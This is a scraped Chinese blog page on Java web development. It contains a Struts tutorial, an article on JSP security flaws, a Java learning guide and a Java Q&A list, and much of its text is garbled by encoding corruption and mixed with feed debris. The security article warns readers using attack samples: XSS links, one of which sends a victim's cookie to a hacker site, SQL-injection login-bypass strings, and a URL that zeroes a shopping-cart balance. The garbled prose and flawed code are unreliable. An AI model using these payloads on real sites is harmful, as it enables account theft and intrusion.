WEB-INF目录拯到test目录下,然后testWEB-INF下的src和classes目录清空Q以及struts-config.xml文g中内Ҏ(gu)I即可。这P我们需要的Strutscd及相关的配置文g都齐了?
开发时Q将JSP文g攑֜test目录下,Java原文件放在testWEB-INFsrc下,~译后的cL件放在testWEB-INFclasses下?


注册面Qreguser.jsp


<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ taglib uri="/WEB-INF/Struts-bean.tld" prefix="bean" %>
<%@ taglib uri="/WEB-INF/Struts-html.tld" prefix="html" %>
<html:html locale="true">
<head>
<title>RegUser</title>
<html:base/>
</head>
<body bgcolor="white">
<html:errors/>
<html:form action="/regUserAction" focus="logname">
<table border="0" width="100%">
<tr>
<th align="right">
Logname:
</th>
<td align="left">
<html:text property="logname" size="20" maxlength="20"/>
</td>
</tr>
<tr>
<th align="right">
Password:
</th>
<td align="left">
<html:password property="password" size="20" maxlength="20"/>
</td>
</tr>
<tr>
<th align="right">
E-mail:
</th>
<td align="left">
<html:password property="email" size="30" maxlength="50"/>
</td>
</tr>
<tr>
<td align="right">
<html:submit property="submit" value="Submit"/>
</td>
<td align="left">
<html:reset/>
</td>
</tr>
</table>
</html:form>
</body>
</html:html>


此JSP面不同于普通的JSP,因ؓ它大量运用了taglibQ这些taglib对初学者而言Q可能难于掌握,可这却是Struts的精华之一。灵z运用,大大提高开发效率?


Struts-config.xmlQ?


<Struts-config>
<form-beans>
<form-bean name="regUserForm"
type="org.cjea.Struts.example. RegUserForm "/>
</form-beans>
<action-mappings>
<action path="/regUserAction"
type=" org.cjea.Struts.example.RegUserAction "
attribute=" regUserForm "
scope="request"
validate="false">
<forward name="failure" path="/ messageFailure.jsp"/>
<forward name="success" path="/ messageSuccess.jsp"/>
</action>
</action-mappings>
</Struts-config>


Struts的核心是ControllerQ即ActionServletQ而ActionServlet的核心就是Struts-config.xmlQStruts-config.xml集中了所有页面的D定义。对于大型的WEB目Q通过此配|文件即可迅速把握其脉络Q这不管是对于前期的开发,q是后期的维护或升都是大有裨益的。掌握Struts-config.xml是掌握Struts的关键所在?


FormBeanQRegUserForm


package org.cjea.Struts.example;


import javax.Servlet.http.HttpServletRequest;
import org.apache.Struts.action.ActionForm;
import org.apache.Struts.action.ActionMapping;


public final class RegUserForm extends ActionForm{


private String logname;
private String password;
private String email;


public RegUserForm(){
logname = null;
password = null;
email = null;
}


public String getLogName() {
return this.logname;
}
public void setLogName(String logname) {
this.logname = logname;
}
public void setPassWord(String password) {
this.password = password;
}
public String getPassWord() {
return this.password;
}
public void setEmail(String email) {
this.email = email;
}
public String getEmail() {
return this.email;
}


public void reset(ActionMapping mapping, HttpServletRequest request)
{
logname = null;
password = null;
email = null;
}
}


每一个FormBean 都必ȝ承ActionFormc,FormBean是对面h的封装。即把HTTP request 装在一个对象中Q需要说明的一点就是多个HTTP request可以q一个FormBeanQ便于维护和重用?


ActionBeanQRegUserAction


package org.cjea.Struts.example;


import javax.Servlet.http.*;
import org.apache.Struts.action.*;


public final class RegUserAction extends Action
{


public ActionForward perform(ActionMapping mapping,
ActionForm form, HttpServletRequest req,
HttpServletResponse res)
{
String title = req.getParameter("title");
String password = req.getParameter("password");
String email = req.getParameter("email");
/*
取得用户h,做相应数据库操作Q略
*/
}
}


FormBean的生是Z提供数据lActionBeanQ在ActionBean中可以取得FormBean中封装的数据Q经相应的逻辑处理后,调用业务Ҏ(gu)完成相应业务要求?


Servlet的演变:在常规的 JSPQServletQJavaBean三层l构中,JSP实现View的功能,Servlet实现Controller的功能,JavaBean实现Model的实现?


在Struts中,常规情况下的Servlet拆分与ActionServlet、FormBean、ActionBean三个部分。ActionServlet配合Struts-config.xmlQ专职完成页面导航,而不再负责具体的数据获取与相应逻辑Q这两部分功能由FormBean和ActionBean来完成?


3.Struts优缺?
优点Q?
Struts跟Tomcat、Turbine{诸多Apache目一P是开源YӞq是它的一大优炏V开发者能更深入的了解其内部实现机制?
除此之外QStruts的优点主要集中体现在两个斚wQTaglib和页面导航。Taglib是Struts的标记库Q灵zd用,能大大提高开发效率。另外,q前国内的JSP开发者而言Q除了用JSP自带的常用标记外Q很开发自q标记Q或许Struts是一个很好的L?
关于面DQ我认ؓ那将是今后的一个发展方向,事实上,q样做,使系l的脉络更加清晰。通过一个配|文Ӟ卛_把握整个pȝ各部分之间的联系Q这对于后期的维护有着莫大的好处。尤其是当另一批开发者接手这个项目时Q这U优势体现得更加明显?
~点Q?
Taglib是Struts的一大优势,但对于初学者而言Q却需要一个持l学习的q程Q甚臌会打׃|页~写的习惯,但是Q当你习惯了它时Q你会觉得它真的很棒?
StrutsMVC的Controller一分ؓ三,在获得结构更加清晰的同时Q也增加了系l的复杂度?
Struts从生到现在q不到半q_但已逐步来多q用于商业Y件。虽然它现在q有不少~点Q但它是一U非怼U的J2EE MVC实现方式Q如果你的系l准备采用J2EE MVC架构Q那么,不妨考虑一下Struts?


4.Struts实施l验Q?
1)、基于Struts架构的项目开发,首先需要有一个很好的整体规划Q整个系l中包括哪几个模块,每个模块各需要多FormBean和ActionBean{,而且最好有专h负责Struts-config.xml的管理。开发基于Struts的项目的隄在于配置理Q尤其是对Struts-config.xml的管?


2)、如果你的项目非常紧Qƈ且项目组中又没有富有l验的Struts开发h员,不要冒然采用Struts。Struts的掌握需要一个过E,对于一个熟l的JSPE序员,自学大概需要半个月左右的时间。如果结合titlsQ则需要更长的旉


3)、如果你在网中大量q用taglibQ那么你的美工将做出部分牺牲。当你结合TilesQ功能增强的同时Q这U牺牲尤为明显。当Ӟ你对功能和美观的取舍׃自己军_


4)、Taglib是一个好东西Q但灉|q用它却需要一个过E,如果你不惛_Taglib上花太多的时_那么只需理解与FORM有关的几个标讎ͼ其它的标记就攄吧,以后再看Q先ȝIActionServlet和Struts-config.xmlQ你会觉得很有成感


5)、Struts是否只适合于大型项目呢QNoQStruts适合于各U大的目Q当Ӟ对于大型目Q它所体现出来的优势更加明显?/P>

frankboy 2006-01-10 14:59 发表评论
]]>
谈jsp安全~程(?http://www.aygfsteel.com/frankboy/archive/2006/01/09/27236.htmlfrankboyfrankboyMon, 09 Jan 2006 03:35:00 GMThttp://www.aygfsteel.com/frankboy/archive/2006/01/09/27236.htmlhttp://www.aygfsteel.com/frankboy/comments/27236.htmlhttp://www.aygfsteel.com/frankboy/archive/2006/01/09/27236.html#Feedback0http://www.aygfsteel.com/frankboy/comments/commentRss/27236.htmlhttp://www.aygfsteel.com/frankboy/services/trackbacks/27236.html   今天我将和大家一起从脚本~程的角度看JSP的安全,那些诸如源码暴露cȝ安全隐?zhn)׃在这文章讨围之内了。写q篇文章的主要目的是l初学JSP~程的朋友们提个醒,从一开始就要培d全编E的意识Q不要犯不该犯的错误Q避免可以避免的损失。另外,我也是初学者,如有错误或其它意见请发帖赐教?

一、认证不严——低U失?
   在溢z论坛v1.12 修正版中Q?
user_manager.jsp是用L理的面Q作者知道它的敏感性,加上了一把锁Q?
if ((session.getValue("UserName")==null)││(session.getValue("UserClass")==null)││(! session.getValue("UserClass").equals("pȝ理?)))
{
response.sendRedirect("err.jsp?id=14");
return;
}
   如果要查看、修Ҏ(gu)用户的信息,p用modifyuser_manager.jspq个文g。管理员提交
http://www.somesite.com/yyforum/modifyuser_manager.jsp?modifyid=51
是查看、修改ID?1的用L资料Q管理员默认的用户ID?1Q。但是,如此重要的文件竟~Z认证Q普通用P包括游客Q也直接提交上述h也可以对其一览无余(密码也是明文存储、显C的Q。modifyuser_manage.jsp同样是门户大开Q直到恶意用h数据更新的操作执行完毕,重定向到user_manager.jsp的时候,他才会看见那个姗姗来q的昄错误的页面。显Ӟ只锁一扇门是远q不够的Q编E的时候一定要不厌其烦Cؓ每一个该加n份认证的地方加上w䆾认证?

二、守好JavaBean的入?
   JSPlg技术的核心是被UCؓbean的javalg。在E序中可把逻辑控制、数据库操作攑֜javabeanslg中,然后在JSP文g中调用它Q这样可增加E序的清晰度及程序的可重用性。和传统的ASP或PHP面相比QJSP面是非常简z的Q因多动态页面处理过E可以封装到JavaBean中?
   要改变JavaBean属性,要用到?lt;jsp:setProperty>”标记?
下面的代码是假想的某?sh)子购物pȝ的源码的一部分Q这个文件是用来昄用户的购物框中的信息的,而checkout.jsp是用来结帐的?
<jsp:useBean id="myBasket" class="BasketBean">
<jsp:setProperty name="myBasket" property="*"/>
<jsp:useBean>
<html>
<head><title>Your Basket</title></head>
<body>
<p>
You have added the item
<jsp::getProperty name="myBasket" property="newItem"/>
to your basket.  
<br/>
Your total is $
<jsp::getProperty name="myBasket" property="balance"/>
Proceed to <a href="checkout.jsp">checkout</a>
   注意到property="*"了吗Q这表明用户在可见的JSP面中输入的Q或是直接通过Query String提交的全部变量的|存储到匚w的bean属性中?
一般,用户是这h交请求的Q?
http://www.somesite.com /addToBasket.jsp?newItem=ITEM0105342
但是不守规矩的用户呢Q他们可能会提交Q?
http://www.somesite.com /addToBasket.jsp?newItem=ITEM0105342&balance=0
q样Qbalance=0的信息就被在存储CJavaBean中了。当他们q时点击“chekout”结账的时候,费用全免了?
   q与PHP中全局变量D的安全问题如Z辙。由此可见:“property="*"”一定要慎用Q?

三、长盛不衰的跨站脚本
   跨站脚本QCross Site ScriptingQ攻L指在q程WEB面的HTML代码中手插入恶意的JavaScript, VBScript, ActiveX, HTML, 或Flash{脚本,H取览此页面的用户的隐U,改变用户的设|,破坏用户的数据。跨站脚本攻d多数情况下不会对服务器和W(xu)EBE序的运行造成影响Q但对客L的安全构成严重的威胁?
   以仿动网的阿菜论坛(beta-1QD个最单的例子。当我们提交
http://www.somesite.com/acjspbbs/dispuser.jsp?name=someuser<;script>alert(document.cookie)</script>
便能弹出包含自己cookie信息的对话框。而提?
http://www.somesite.com/acjspbbs/dispuser.jsp?name=someuser<;script>document.location='http://www.163.com'</script>
p重定向到|易?
   ׃在返回“name”变量的值给客户端时Q脚本没有进行Q何编码或qo恶意代码Q当用户讉K嵌入恶意“name”变量数据链接时Q会D脚本代码在用h览器上执行,可能D用户隐私泄露{后果。比如下面的链接Q?
http://www.somesite.com/acjspbbs/dispuser.jsp?name=someuser<;script>document.location='http://www.hackersite.com/xxx.xxx?'+document.cookie</script>
xxx.xxx用于攉后边跟的参数Q而这里参数指定的是document.cookieQ也是讉K此链接的用户的cookie。在ASP世界中,很多人已l把偷cookie的技术练得炉火纯青了。在JSP里,dcookie也不是难事。当Ӟ跨站脚本从来׃会局限于偷cookieq一功能,怿大家都有一定了解,q里׃展开了?
   Ҏ(gu)有动态页面的输入和输出都应进行编码,可以在很大程度上避免跨站脚本的攻凅R遗憄是,Ҏ(gu)有不可信数据~码是资源密集型的工作,会对 Web 服务器生性能斚w的媄响。常用的手段q是q行输入数据的过滤,比如下面的代码就把危险的字符q行替换Q?
<% String message = request.getParameter("message");
message = message.replace ('<','_');
message = message.replace ('>','_');
message = message.replace ('"','_');
message = message.replace ('\'','_');
message = message.replace ('%','_');
message = message.replace (';','_');
message = message.replace ('(','_');
message = message.replace (')','_');
message = message.replace ('&','_');
message = message.replace ('+','_'); %>
   更积极的方式是利用正则表辑ּ只允许输入指定的字符Q?
public boolean isValidInput(String str)
{
if(str.matches("[a-z0-9]+")) return true;
else return false;
}

四、时ȝ记SQL注入
   一般的~程书籍在教初学者的时候都不注意让他们从入门时培d全编E的习惯。著名的《JSP~程思想与实c就是这样向初学者示范编写带数据库的dpȝ的(数据库ؓMySQLQ:
Statement stmt = conn.createStatement();
String checkUser = "select * from login where username = '" + userName + "' and userpassword = '" + userPassword + "'";
ResultSet rs = stmt.executeQuery(checkUser);
if(rs.next())
   response.sendRedirect("SuccessLogin.jsp");
else
   response.sendRedirect("FailureLogin.jsp");
   q样使得信书的人长期用这样先天“带z”的d代码。如果数据库里存在一个名叫“jack”的用户Q那么在不知道密码的情况下至有下面几种Ҏ(gu)可以dQ?
用户名:jack
密码Q? or 'a'='a
用户名:jack
密码Q? or 1=1/*
用户名:jack' or 1=1/*
密码Q(LQ?
lybbsQ凌云论坛)ver 2.9.Server在LogInOut.java中是q样对登录提交的数据q行查的Q?
if(s.equals("") ││ s1.equals(""))
   throw new UserException("用户名或密码不能I?);
if(s.indexOf("'") != -1 ││ s.indexOf("\"") != -1 ││ s.indexOf(",") != -1 ││ s.indexOf("\\") != -1)
   throw new UserException("用户名不能包?' \" \\ , {非法字W?);
if(s1.indexOf("'") != -1 ││ s1.indexOf("\"") != -1 ││ s1.indexOf("*") != -1 ││ s1.indexOf("\\") != -1)
     throw new UserException("密码不能包括 ' \" \\ * {非法字W?);
if(s.startsWith(" ") ││ s1.startsWith(" "))
      throw new UserException("用户名或密码中不能用I格?);
   但是我不清楚Z么他只对密码而不对用户名qo星号。另外,正斜杠似乎也应该被列到“黑名单”中。我q是认ؓ用正则表辑ּ只允许输入指定范围内的字W来得干脆?
   q里要提醒一句:不要以ؓ可以凭借某些数据库pȝ天生的“安全性”就可以有效地抵御所有的d。pinkeyes的那《PHP注入实例》就l那些依赖PHP的配|文件中的“magic_quotes_gpc = On”的Z了一课?

五、String对象带来的隐(zhn)?
   Javaq_的确使安全编E更加方便了。Java中无指针Q这意味着 Java E序不再像C那样能对地址I间中的L内存位置d了。在JSP文g被编译成 .class 文g时会被检查安全性问题,例如当访问超出数l大的数组元素的尝试将被拒l,q在很大E度上避免了~冲区溢出攻凅R但是,String对象却会l我们带来一些安全上的隐(zhn)。如果密码是存储?Java String 对象中的Q则直到对它q行垃圾攉或进E终止之前,密码会一直驻留在内存中。即使进行了垃圾攉Q它仍会存在于空闲内存堆中,直到重用该内存空间ؓ止。密?String 在内存中ȝ得越久,遭到H听的危险性就大。更p的是,如果实际内存减少Q则操作pȝ会将q个密码 String 换页调度到磁盘的交换I间Q因此容易遭受磁盘块H听d。ؓ了将q种泄密的可能性降x低(但不是消除)Q?zhn)应该密码存储?char 数组中,q在使用后对其置ӞString 是不可变的,无法对其|零Q?

六、线E安全初?
   “JAVA能做的,JSPp做”。与ASP、PHP{脚本语a不一PJSP默认是以多线E方式执行的。以多线E方式执行可大大降低对系l的资源需求,提高pȝ的ƈ发量及响应时间。线E在E序中是独立的、ƈ发的执行路径Q每个线E有它自q堆栈、自qE序计数器和自己的局部变量。虽然多U程应用E序中的大多数操作都可以q行q行Q但也有某些操作Q如更新全局标志或处理共享文Ӟ不能q行q行。如果没做好U程的同步,在大q发量访问时Q不需要恶意用L“热心参与”,问题也会出现。最单的解决Ҏ(gu)是在相关的JSP文g中加? <%@ page isThreadSafe="false" %>指oQ它以单线E方式执行,q时Q所有客L的请求以串行方式执行。这样会严重降低pȝ的性能。我们可以仍让JSP文g以多U程方式执行Q通过对函C锁来对线E进行同步。一个函数加上synchronized 关键字就获得了一个锁。看下面的示例:
public class MyClass{
   int a;
   public Init() {//此方法可以多个线E同时调?
       a = 0;
   }
   public synchronized void Set() {//两个U程不能同时调用此方?
       if(a>5) {
           a= a-5;
       }
   }
}
   但是q样仍然会对pȝ的性能有一定媄响。一个更好的Ҏ(gu)是采用局部变量代替实例变量。因为实例变量是在堆中分配的Q被属于该实例的所有线E共享,不是U程安全的,而局部变量在堆栈中分配,因ؓ每个U程都有它自q堆栈I间Q所以这LE就是安全的了。比如凌云论坛中d好友的代码:
public void addFriend(int i, String s, String s1)
   throws DBConnectException
{
     try
     {
           if…?
else
           {
               DBConnect dbconnect = new DBConnect("insert into friend (authorid,friendname) values (?,?)");
               dbconnect.setInt(1, i);
               dbconnect.setString(2, s);
               dbconnect.executeUpdate();
               dbconnect.close();
               dbconnect = null;
           }
       }
      catch(Exception exception)
       {
           throw new DBConnectException(exception.getMessage());
       }
}
   下面是调用:
friendName=ParameterUtils.getString(request,"friendname");
if(action.equals("adduser")) {
   forumFriend.addFriend(Integer.parseInt(cookieID),friendName,cookieName);
   errorInfo=forumFriend.getErrorInfo();
}
   如果采用的是实例变量Q那么该实例变量属于该实例的所有线E共享,有可能出现用户A传递了某个参数后他的线E{为睡眠状态,而参数被用户B无意间修改,造成好友错配的现象?img src ="http://www.aygfsteel.com/frankboy/aggbug/27236.html" width = "1" height = "1" />

frankboy 2006-01-09 11:35 发表评论
]]>
java学习http://www.aygfsteel.com/frankboy/archive/2005/12/27/25640.htmlfrankboyfrankboyTue, 27 Dec 2005 15:46:00 GMThttp://www.aygfsteel.com/frankboy/archive/2005/12/27/25640.htmlhttp://www.aygfsteel.com/frankboy/comments/25640.htmlhttp://www.aygfsteel.com/frankboy/archive/2005/12/27/25640.html#Feedback0http://www.aygfsteel.com/frankboy/comments/commentRss/25640.htmlhttp://www.aygfsteel.com/frankboy/services/trackbacks/25640.html********************************Java Web ~程*******************************************
  Web~程的核心是HTTP协议Q?/SPAN>HTTP协议?/SPAN>Java无关Q如果不熟?zhn)?/SPAN>HTTP协议的话Q虽然也可以学好Servlet/JSP~程Q但是达不到举一反三Q一通百通的境界。所?/SPAN>HTTP协议的学习是必备的。如果熟(zhn)了HTTP协议的话Q又有了Java~程的良好的基础Q学?/SPAN>Servlet/JSP直易如反掌,我学?/SPAN>Servlet/JSPq了不C周的旉Q然后就开始用JSP来做目了?/SPAN>

  ?/SPAN>Servlet/JSP的学习中Q重头仍然是Servlet Documentation?/SPAN>Servlet API最常用的类很少Q花比较?yu)的旉可以掌握了。把q些c都看一遍,多写几个例子试试?/SPAN>Servlet/JSP~程本质是在反复调用这些类来通过HTTP协议?/SPAN>Web Server?/SPAN>Brower之间交谈。另外对JSPQ还需要熟(zhn)几个常?/SPAN>JSP的标讎ͼ具体的写法记不住的话Q(f)时查是了?/SPAN>

此外Java Web~程学习的重点要攑֜Web Application的设计模式上Q如何进行业务逻辑的分析,q且q行合理的设计,按照MVC设计模式的要求,q用Servlet?/SPAN>JSP分别完成不同的逻辑层,掌握如何?/SPAN>Servlet?/SPAN>JSP之间q行程的控制和数据的共享,以及Web Application应该如何配置和部|Ӏ?/SPAN>

***************************************J2EE~程*********************************************
  以上的学习过E如果是比较利的话Q进行到q一步,隑ֺ又陡然提高。因Z面的知识内容都是只涉及一个方面,而像EJBQ?/SPAN>JMSQ?/SPAN>JTA{核心的J2EE规范往往是几U?/SPAN>Java技术的l合q用的结Ӟ所以掌握v来难度比较大?/SPAN>

  首先一定要学习?/SPAN>JNDIQ?/SPAN>JNDI?/SPAN>App Server定位服务器资源(EJBlgQ?/SPAN>DatasouceQ?/SPAN>JMSQ查找方法,如果?/SPAN>JNDI不熟(zhn)的话,EJBQ?/SPAN>JMSq些东西几乎学不下去?/SPAN>JNDI其实是javax.naming.*q个包,q用h很简单。难点在于服务器资源文g的配|。对于服务器资源文g的配|,需要看看专门的文档规范了,比如web.xml的写法,ejb-jar.xml的写法等{。针Ҏ(gu)U不同的App ServerQ还有自q服务资源配置文gQ也是需要熟(zhn)的?/SPAN>

  然后可以学习JTAQ主要是要理?/SPAN>JTA对于事务的控制的Ҏ(gu)Q以及该在什么场合?/SPAN>JTA。这里可以简单的举个例子Q我们知道一般情况可以对于一个数据库q接q行事务控制(conn.setAutoCommit(false),....,conn.commit())Q做Z个原子操作,但是假设我的业务需求是要把对两个不同数据库的操作做Z个原子操作,你能做的到吗Q这时候只能用JTA了。假设操作过E是先往A数据库插一条记录,然后删除B数据库另一个记录,我们自己写代码是控制不了把整个操作做Z个原子操作的。用JTA的话Q由App Server来完成控制?/SPAN>

  在学?/SPAN>EJB之前要学习对象序列化?/SPAN>RMIQ?/SPAN>RMI?/SPAN>EJB的基。接着学习JMS?/SPAN>EJBQ对?/SPAN>EJB来说Q最关键是要理解EJB是如何通过RMI来实现对q端对象的调用的Q以及在什么情况下要用?/SPAN>EJB?/SPAN>

  在学习完EJBQ?/SPAN>JMSq些东西之后Q你可能会意识到要急不可待学习两个领域的知识,一个是UMLQ另一个是Design Pattern?/SPAN>Java企业软g的设计非帔R视框?/SPAN>(Framework)的设计,一个好的Y件框架是软g开发成功的必要条g。在q个时候,应该开始把学习的重Ҏ(gu)在设计模式和框架的学习上Q通过学习和实际的~程l验来掌?/SPAN>EJB的设计模式和J2EE的核心模式?/SPAN>

  J2EE规范里面Q除?/SPAN>EJBQ?/SPAN>JMSQ?/SPAN>JTAQ?/SPAN>Servlet/JSPQ?/SPAN>JDBC之外q有很多很多的企业技术,q里不一一q行介绍了?/SPAN>

  另外q有一个最新领?/SPAN>Web Services?/SPAN>Web Services也完全没有Q何新东西Q它像是一U黏合剂Q可以把不同的服务统一h提供一个统一的调用接口,作ؓ使用者来_我只要获得服务提供者给我的WSDLQ对服务的描qͼQ就够了Q我完全不知道服务器提供者提供的服务I竟?/SPAN>EJBlgQ还?/SPAN>.NetlgQ还是什?/SPAN>CORBAlgQ还是其他的什么实玎ͼ我也不需要知道?/SPAN>Web Services最伟大的地方就在于通过l一的服务提供方式和调用方式Q实C整个Internet服务的共享,是一个非o人激动的技术领域?/SPAN>Web Services好像目前q没有什么很好的书籍Q但是可以通过在网l上面查资料的方式来学习?/SPAN>



frankboy 2005-12-27 23:46 发表评论
]]>
java问答http://www.aygfsteel.com/frankboy/archive/2005/12/27/25639.htmlfrankboyfrankboyTue, 27 Dec 2005 15:39:00 GMThttp://www.aygfsteel.com/frankboy/archive/2005/12/27/25639.htmlhttp://www.aygfsteel.com/frankboy/comments/25639.htmlhttp://www.aygfsteel.com/frankboy/archive/2005/12/27/25639.html#Feedback0http://www.aygfsteel.com/frankboy/comments/commentRss/25639.htmlhttp://www.aygfsteel.com/frankboy/services/trackbacks/25639.html70个JAVA问答


1. 问:在JAVA与JSP中要调用一个LINUX上的脚本E序,或WINDOWS上的脚本E序,该怎么写?
{:System.getRuntime().exec("bash < aaa.sh");


2. 问:java中用什么表C双引号
{:"\""


3. 问:如何在JSPE序里另起一个线E?
{:
JSP本n是独立U程q行而不象CGI都是独立q程.
一?
Thread t = new Thread("你的对象\\");
t.start();可以了.
要求你这个对象要实现runnable接口或承thread.



4. 问:jsp如何获得客户端的IP地址Q?BR>{:
request.getRemoteAddr()
看看各个webserver的API文档说明Q一般都有自带的Qresin和tomcat都有



5. 问:E序l止与输出终?BR>{:
E序中止:return;
输出中止:out.close();q一句相当于ASP的response.end



6. 问:jsp中如何得C늚URLQ?BR>{:request.getHeader("referer");



7. 问:提交|页的网过期功能是怎么做的Q?BR>{:response.setHader("Expires","0");



8. 问:在JSP|页中如何知道自已打开的页面的名称
{:
request.getRequestURI() ;//文g?BR>request.getRequestURL() ;//全部QRQ?BR>


9. 问:提交表单后验证没有通过Q返回提交页面,如何使原提交面中的数据保留Q?BR>{:javascript的go(-1)可以把上늚表单内容重新昄出来,但password域没?BR>


10. 问:如何取得http的头信息Q?BR>{:request.getHader(headerName);



11. 问:&&?amp;的区别?
{:
&&是短路的与操作,也就是当C个条件是false的时候,W二个条件不用执?BR>&相反Q两个条件L执行?BR>


12. 问:?以正弦曲U的一个周期显C出?BR>{:
public void paint(Graphics g)
{
for(int i=0;i<200;i++)
g.drawString("*",i,(int)(Math.sin(i)*20)+50);
}
}



13. 问:点数相乘后l果不精如100.0 * 0.6 l果{于 60.0004
{:
q不叫错?float和double是这样实现的.如果要精计,java提供了一个strictfp,它的计算遵@IEEE 754标准.而普通的float和double是由地^台QҎ(gu)式或g提供的额外精度或表示范围?BR>


14. 问:如何获得当前用的cursors的位|?
{:
int row = rs.getRow()是当前指针行数,q有isFrist();isBeforeFist();isLast();isAfterLast();可以试是不是在Ҏ(gu)名所说的位置



15. 问:表单成功提交了,点后退昄|页q期
{:
?lt;head></head>里面加以下代?BR><META HTTP-EQUIV="Pragma" CONTENT="no-cache">
<META HTTP-EQUIV="Cache-Control" CONTENT="no-cache">
<META HTTP-EQUIV="Expires" CONTENT="0">
或者在表单中加上
<%
response.setHeader("Pragma","no-cache");
response.setHeader("Cache-Control","no-cache");
response.setDateHeader("Expires",0);
%>



16. 问:接口的简单理?BR>{:接口Z规范,比如我在接口中定义了一个方?
getData()
q是用来从不同的数据库中取数据的,是JDBC的实现对于用?我不要知道每U数据库是如何做?但我知道如何它们要实现这个接口就一定有q个Ҏ(gu)可以供我调用.q样SUN把q个接口l各个数据库开发商,让他们自己实? 但ؓ什么不用承而用接口?因ؓl承只能从一个你cȝ?而接口可以实现多?是说我实现的子cL多个规定好的接口中的功能. q只是简单的理解,{你深入理解抽象的时候就知道抽象到抽象类时ؓ什么还要再抽象到接?




17. 问:怎样~写一个取消按钮(怎样q回上一个页面,象工h的后退按钮Q?
{:
javascript把每ơ浏览过的location都压C一个栈?q个栈就是history,然后你如果要回到W几个页面它?yu)做几次POP操作,把最后POP出来的那个LOCATIONl你. q就是JAVASCRIPT在实现history.go(-x)的原?




18. 问:什么是回调Q?BR>{:
单说,回调用不是让你去监听谁做完了什么事,而是谁做完了什么事报告给? q就是回调用的思想.例子太多?AWT的事?SWING事g模型都是q样? q有多线E中,如果要控制线E数,不能L查询每个U程是否l束,要在每个U程l束时让U程自己告诉ȝE我l束?你可以开新的U程?



19. 问:要介l一下compareToҎ(gu)
{:
compareToҎ(gu)是Comparable 接口必需实现的方?只要实现Comparable 可以用Arrays.srot()排序p实现Runnable接口的runpThread()一?



20. 问:如何可以从别的Web服务器检索页, 然后把检索到的网늚HTML代码储存在一个变量中q回q来
{:q是一个简单的WEB ROBOT实现,用URLcdC|页中抓内容,然后自己写一个分析程序从中找出新的URL,不断递归下去p?



21. 问:applet中如何获得键盘的输入
{:application的System.in是当前系l的标准输入,applet因ؓ安全的原因不可能d当前pȝ(客户?的标准输?只能从它的ROOTlg的事件中,比如键盘事g中取得键?



22. 问:怎样计算代码执行所p的时_
{:
代码开始取旉Q结束后取时_相减
long t1 = System.currentTimeMillis();
///////////////// your code
long t2 = System.currentTimeMillis() ;
long time = t2-t1;



23. 问:如何获在E序中获得一个文件的ContentTypeQ?BR>{:
URL u = new URL("file:///aaa.txt");
URLConnection uc = u.openConnection();
String s = uc.getContentType();


24. 问:q接池的使用是徏立很多连接池Q还是一个连接池里用多个q接Q?BR>{:
只有在对象源不同的情况下才会发生多个池化,如果你只q一l一个数据源,永远不要用多个连l池. 所以连l池的初始化一定要做成静态的,而且应该在构造对象之?也就是只有在cLOAD的时?别的时候不应该有Q何生成新的连l池的时候?BR>

25. 问:JavaMail要怎么安装Q?BR>{:下蝲两个包,一个是javamail包,另一个是jaf包。下载完直接把这两个包不解压加到CLASSPATH?BR>

26. 问:怎样把地址栏里的地址锁定Q?BR>{:把你的服务器的可讉K目录索引选项关闭p?M服务器都有一个conf文g,里面都有q个选项?BR>

27. 问:在JAVA中怎么取得环境变量啊。比如: TEMP = CQ\TEMP Q?BR>{:String sss = System.getProperty(key)


28. 问:怎样实现四舍五入Q保留小数点后两位小敎ͼ
{:
import java.text.*;
...
NumberFormat nf=NumberFormat.getNumberInstance();
nf.setMaximumFractionDigits(2);
nf.setMinimumFractionDigits(2);
nf.format(numb);


29. 问:Applet和form如何通信Q?BR>{:
取得的参C到param里面
<%
String xxx = request.getParameter("xxx");
%>
<applet>
<param value="<%=xxx%>">
</applet>



30. 问:java-plug-in是什么?
{:Java Runtime Environment的插件。用来运行javaE序。不需要什么特别的讄。等于你的机器里面有了jvm?BR>

31. 问:WEB上面怎么栯接上一个EXCEL表格Q?BR>{:
定义面得contentType="application/vnd.ms-excel"Q让面以excel得Ş式打开。同样也可以以word得Ş式打开Qapplication/msword?BR>

32. 问:怎样才能避免textarea字数限制Q?BR>{:是用了FORM的默认方法的~故,如果什么也不写默认是GET改用Post卛_Q在Form中定义mothod="post"?BR>

33. 问:Z么加?lt;%@page contentType="text/html;charset=gb2312" %>插入数据库的中文Q依然是qQ?BR>{:
q要从环境看,能显C明你的JSP引擎没有问题,但写入数据库时你的JDBC能不能处理中?同一公司不同版本的JDBC都有支持中文和不支持中文的情?RESIN自带的MYSQL JDBC׃支持,MM的就支持,q有你的数据库类型是否支持中?CHAR的一般支?但是否用binary存储双字节码


34. 问:对于JFrameQhide()Qshow()与setVisibel()有什么区别吗Q?BR>{:
setVisible()从Componentl承q来Q而hide(),show()从Window里面l承q来?BR>Makes the Window visible. If the Window and/or its owner are not yet displa yable, both are made displayable. The Window will be validated prior to being made visible. If t he Window is already visible, this will bring the Window to the front. 区别在这?BR>

36. 问:sendRedirectZ么不可以转到mms协议的地址的?response.sendRedirect("mms://missiah.adsldns.org:9394");
{:javaq_目前实现的protocol中ƈ没有mms,你可以取pȝ属性java.protocol.handler.pkgs看看它的g有没有mms,所以如果要想重定向到mms://hostq样和URL,只有生成客户端的JAVASCRIPT让它来重定向


37. 问:JTable中怎样定义各个Columns和W(xu)idth和怎样讄表格的内定w做靠x居中Q?BR>{:
TableColumn tc = table.getColumn("Name");//取得列名?Name"的列Handle
int currentWidth = tc.getPreferredWidth(); //取得该列当前的宽?BR>tc.setPreferredWidth(200); //讄当前列宽
tc.setMaxWidth(200); //讄该列最大宽?BR>tc.setMinWidth(50); //讄该列最宽?BR>

38. 问:Ҏ(gu)作是否可用于select语句Q?BR>{:Ҏ(gu)作其实是指成批理更新的操?l对不可能用于select操作?BR>

39. 问:Z么jsp路径太深文g名太长就无法d文gQ?BR>{:path不能过255长度,不然找不到?q是作业pȝ的事?BR>

40. 问:如何让页面不保留~存Q?BR>{:
<%
response.setHeader("Pragma","No-cache");
response.setHeader("Cache-Control","no-cache");
response.setDateHeader("Expires", 0);
%>


41. 问:我的applet code 中用到jbutton 时就出错是否׃ie不支持swing package 请问应怎么办?
{:JBUTTON是SWING基本包啊,只要把jdk/jre/lib/rt.jar攑֜classpathp?不要加蝲M别的库?BR>

42. 问:不知道java是否支持midi格式Q如果支持,应该怎么把wave格式转换成midi格式Q?BR>{:目前q不?可以看一下JMF三个版中对MIDI的格式支持是read only,而W(xu)AVE是read/write,MIDI只能播放,不能生成?BR>

